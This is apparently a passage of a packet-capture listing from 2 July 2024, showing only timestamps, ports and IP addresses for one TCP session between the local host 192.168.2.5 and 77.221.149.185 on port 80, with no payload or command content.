Jul 2, 2024 22:52:26.091425896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091445923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091475964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091486931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091496944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091506004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091516972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091522932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091531038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091538906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091542006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091552973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091562986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091567039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091572046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.091583967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.091612101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.092473984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092489958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092499018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092509031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092519045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092528105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092535973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.092539072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092549086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092557907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092567921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092571974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.092576981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092586994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092588902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.092596054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092605114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092606068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.092616081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092627048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.092629910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.092648983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.092668056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.093441963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093451977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093457937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093462944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093472004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093482018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093491077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093502045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093503952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.093512058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093518019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.093522072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093533039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093543053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093544960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.093553066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093561888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093563080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.093574047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093584061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.093586922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.093611956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.093628883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.094374895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094386101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094394922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094405890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094415903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094424963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094425917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.094435930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094445944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094455957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.094456911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094466925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094472885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.094475985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094484091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.094485998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094496012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094506979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094512939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.094516039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094527006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.094537973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.094558001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.094567060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.095345974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095356941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095366955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095376968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095386028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095396042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095396042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.095405102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095415115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095421076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.095423937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095432043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.095434904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095443964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095453978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095458984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.095463991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095474005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095484018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.095489979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.095510006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.096055031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.096079111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.096105099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.131150007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.131161928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.131170034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.131252050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.131289959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.131299019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.131313086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.131402016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.131434917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.131486893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.178935051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.178952932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.178977013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.178994894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179003954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179006100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179018021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179028034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179030895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179039001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179059982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179080009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179316044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179327965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179337025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179347038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179366112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179390907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179564953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179575920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179585934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179596901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179620028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179657936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179775953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179922104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179933071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179944992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179955006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179964066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179968119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179975033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179985046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.179994106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.179995060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180006981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180007935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180016994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180027962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180027962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180048943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180074930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180653095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180664062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180674076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180684090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180694103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180701971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180702925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180713892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180721998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180722952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180735111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180740118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180744886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180754900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180766106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180769920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180775881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180785894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.180798054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.180830002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.181600094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181612015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181622982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181633949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181646109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181657076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181667089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.181668043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181679010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181685925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.181689024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181699038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.181699991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181711912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181723118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181723118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.181734085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181746006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.181751013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.181773901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.181786060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.182427883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182445049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182456017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182467937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182478905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182482958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.182490110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182502031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182507038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.182512999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182524920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182533026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.182534933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182545900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182550907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.182562113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182573080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182579041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.182581902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.182604074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.182616949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.183403969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183415890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183427095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183439016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183449030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183451891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.183460951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183471918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183478117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.183482885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183494091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183505058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183516026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183522940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.183526993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183532000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.183537960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183549881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183551073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.183561087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.183568001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.183585882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.184355021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184366941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184377909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184390068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184401035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184406042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.184411049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184422970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184432983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.184433937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184444904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184456110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184458971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.184465885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184477091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184494019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184504986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184509993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.184515953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.184516907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.184534073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.184559107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.185205936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.185219049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.185229063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.185240030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.185255051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.185257912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.185288906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.222270012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.222297907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.222309113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.222328901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.222357988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.222562075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.222573996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.222579002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.222584009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.222688913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.267723083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.267749071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.267760038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.267817974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.267836094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.267885923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.267893076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.267955065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.267965078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.267976046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.267997026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268024921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268173933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268189907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268198967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268208027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268217087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268227100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268232107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268254042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268279076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268443108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268520117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268531084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268541098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268551111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268557072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268559933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268582106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268601894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268925905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268937111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268945932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268955946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268966913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268976927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.268978119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268987894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.268997908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269001007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.269011974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.269046068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.269283056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269479036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269490004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269500017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269512892 CEST	80	49712	77.221.149.185	192.168.2.5
